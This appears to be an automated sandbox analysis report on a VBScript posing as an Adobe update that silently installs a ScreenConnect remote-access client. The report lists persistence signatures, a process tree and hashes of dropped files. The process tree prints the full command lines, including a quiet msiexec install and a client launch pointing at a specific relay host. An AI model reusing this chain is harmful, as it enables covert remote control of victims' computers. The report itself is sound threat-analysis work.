Analysis

  • max time kernel
    298s
  • max time network
    296s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/08/2026, 03:10

General

  • Target
    Adobe_Update_2026.vbs
  • Size 18KB
  • Sample260802-dn9tvacd64
  • SHA256 a196f9de1a800fd57fc9a2bcbacbc541dcd54ca945ebf44b9cafa7fbc5cffd1e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 9 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 27 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Adobe_Update_2026.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:4296
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Adobe_Update_2026.vbs" /Elevated
      2⤵
      • Badlisted process makes network request
      • Executes a VBScript file via the Windows Script Host.
      • Suspicious use of WriteProcessMemory
      PID:2640
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Installer.msi" /quiet /qn /norestart /log "C:\Users\Admin\AppData\Local\Temp\MSI_Install.log" ALLUSERS=1
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:3676
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3868
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 953F8F3E4DA7FA03345EF50735DD6117
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5724
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI6BEF.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240741578 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:3664
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding B997382E97E50BE85D665ACFA91E1BC1 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:2240
  • C:\Program Files (x86)\ScreenConnect Client (bf0fa4c2cb6ba434)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (bf0fa4c2cb6ba434)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-vxw8j1-relay.screenconnect.com&p=443&s=77587862-e82d-4821-9874-a9b1a39cb470&k=BgIAAACkAABSU0ExAAgAAAEAAQDRNokrswlpCQtrPFcKmmafUBft6691QCXrHYtEGP34kzFqNELMs2wnqh6%2fV3QWDcqRfPwASrnpSZVecSO1rnhVLK5k2j6xGWiBjC%2ffA%2b65IzEix8tQRezTTM1tEbzpdAo%2fReh5YD48qPVB1SBeMod7xLfngMIH6cjJ9I7B0PkUSpK%2b0pY3alzfauY7qJAgmWPfTK736syMNYKaNSNtEeRO4AVGvo4tbWpcfb6zYjwQpC9wFrxSkLf%2bmhC%2ffUjINugcc86HIhMNXTgjwvotL8%2fQDcIno7W94Ff%2bFcHwM%2fjh%2fLiR6NSeGDEcRNCk74hfZjKLHePlPuYICJeVIWs5D1XS&c=bbs%20llc&c=&c=&c=&c=&c=&c=&c="
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4608
    • C:\Program Files (x86)\ScreenConnect Client (bf0fa4c2cb6ba434)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (bf0fa4c2cb6ba434)\ScreenConnect.WindowsClient.exe" "RunRole" "c7084dde-a0ce-404a-bfde-3d88b76a7647" "User"
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:5520
    • C:\Program Files (x86)\ScreenConnect Client (bf0fa4c2cb6ba434)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (bf0fa4c2cb6ba434)\ScreenConnect.WindowsClient.exe" "RunRole" "253c1118-5fa3-4b13-8115-9fb79c52c7e9" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:1172

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        e5969cf.rbs

        • Path C:\Config.Msi\e5969cf.rbs
        • Size 214KB
        • SHA256 ac283a81e46b18c46f6468b4a4779bd18dda0529aad86dd424f3dbd7ca71f054
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (bf0fa4c2cb6ba434)\Client.en-US.resources
        • Size 64KB
        • SHA256 a90983b3d26f9e6bb472663b84d13254349f62b0ad4c667fd76b3edd270240b2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (bf0fa4c2cb6ba434)\Client.resources
        • Size 6KB
        • SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (bf0fa4c2cb6ba434)\ScreenConnect.Client.dll
        • Size 412KB
        • SHA256 8e5531c2b302f9c95ed32ac7481d3535b6d51147257d317686c07ea1a9cb8362
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (bf0fa4c2cb6ba434)\ScreenConnect.ClientService.dll
        • Size 92KB
        • SHA256 ed32fe0d924959020cbef0534a7ba612e94263ccc74837475f3b5a6a726acad0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (bf0fa4c2cb6ba434)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 16b4c273a25526e7262716ebe9d46480962347191a034595f18be740d9ce1e17
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (bf0fa4c2cb6ba434)\ScreenConnect.Core.dll
        • Size 579KB
        • SHA256 f64cb7ab5f105c22348a22e02dd506ff45456884639fee0f322862112860af24
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (bf0fa4c2cb6ba434)\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 c50d6e8d93ed197dd0cfb647743b42a2a6a9289f6db04092f56cefd6d569663e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (bf0fa4c2cb6ba434)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (bf0fa4c2cb6ba434)\ScreenConnect.WindowsClient.exe
        • Size 678KB
        • SHA256 2ad8f126461607aad3fa31a41f1f39bc74f471fd84191b43e205610db2c4cf09
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (bf0fa4c2cb6ba434)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (bf0fa4c2cb6ba434)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 4868b7997b9b4260be2df752a81a750388243cdbea37e4d82a9e0101cd29d0c7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (bf0fa4c2cb6ba434)\system.config
        • Size 966B
        • SHA256 80dba6cae535f95eed257685c2434215734d3d2408c91382f43e446a418d4a6f
        • MD5 SHA1 SHA512 TLSH

        Installer.msi

        • Path C:\Users\Admin\AppData\Local\Temp\Installer.msi
        • Size 9.8MB
        • SHA256 5c2e72b5839d587d02f6e93ac74d007c2cbe1f52b74ec2d25cb1e4ab6ede1c19
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI_Install.log

        • Path C:\Users\Admin\AppData\Local\Temp\MSI_Install.log
        • Size 20KB
        • SHA256 4691ade6e97441e648dc9e16740059e809ed07a8284697e4ca64dc418839e024
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI_Install.log

        • Path C:\Users\Admin\AppData\Local\Temp\MSI_Install.log
        • Size 2B
        • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
        • MD5 SHA1 SHA512

        MSI6BEF.tmp

        • Path C:\Windows\Installer\MSI6BEF.tmp
        • Size 1.1MB
        • SHA256 de867af8055f81b7691f12175deb4c4e7f3bf97130e51761ed02182b0496e16f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI6BEF.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI6BEF.tmp-\ScreenConnect.Core.dll
        • Size 569KB
        • SHA256 e92d94613443befebb55b08f80d10a2fdbfc58233e8dc95cfb4466fde12964f7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI6BEF.tmp-\ScreenConnect.InstallerActions.dll
        • Size 24KB
        • SHA256 d827d3575ca29f8a40ea5379c7df2b315fc72cbd93451de94e199740594b51bb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI6BEF.tmp-\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 320b89343e896a8d2ebf537861d800a9aca88245cc3b5616bb5bea5cc6797fbb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI725A.tmp

        • Path C:\Windows\Installer\MSI725A.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        s4xmoxbf.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (bf0fa4c2cb6ba434)\s4xmoxbf.newcfg
        • Size 683B
        • SHA256 9470f4c8a057a099f363845567dbbeb1db59167c7452a37de12c64f1b002c14a
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (bf0fa4c2cb6ba434)\user.config
        • Size 520B
        • SHA256 93a1100cdb264ee5ee07ba53b927badaddaf2db9fec3cabcc05cab0e89720c3e
        • MD5 SHA1 SHA512 TLSH

        wjc2ph1s.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (bf0fa4c2cb6ba434)\wjc2ph1s.newcfg
        • Size 881B
        • SHA256 bda37b392ff16c9be79b6c79738423ab8c4bbe328eef100dc69a77e2805506b2
        • MD5 SHA1 SHA512 TLSH

        memory/3664-30-0x0000000005430000-0x000000000545E000-memory.dmp

        memory/3664-43-0x0000000005EC0000-0x000000000647A000-memory.dmp

        memory/3664-42-0x0000000005750000-0x0000000005900000-memory.dmp

        memory/3664-38-0x0000000005500000-0x0000000005594000-memory.dmp

        memory/3664-34-0x0000000005420000-0x000000000542C000-memory.dmp

        memory/4608-101-0x0000000004860000-0x00000000048B0000-memory.dmp

        memory/4608-128-0x00000000048B0000-0x00000000048F1000-memory.dmp

        memory/4608-126-0x0000000004C60000-0x0000000004CF2000-memory.dmp

        memory/4608-130-0x0000000004E50000-0x0000000004F26000-memory.dmp

        memory/4608-120-0x0000000004920000-0x000000000498C000-memory.dmp

        memory/4608-89-0x0000000004A10000-0x0000000004BC0000-memory.dmp

        memory/4608-85-0x0000000004730000-0x00000000047C4000-memory.dmp

        memory/4608-79-0x00000000020F0000-0x000000000210A000-memory.dmp

        memory/5520-149-0x000000001B830000-0x000000001B89C000-memory.dmp

        memory/5520-148-0x0000000000BC0000-0x0000000000C6E000-memory.dmp

        memory/5520-151-0x000000001BCD0000-0x000000001BD64000-memory.dmp

        memory/5520-152-0x000000001BF20000-0x000000001C0D0000-memory.dmp

        memory/5520-153-0x0000000002EA0000-0x0000000002EBA000-memory.dmp

        memory/5520-154-0x000000001C260000-0x000000001C3E8000-memory.dmp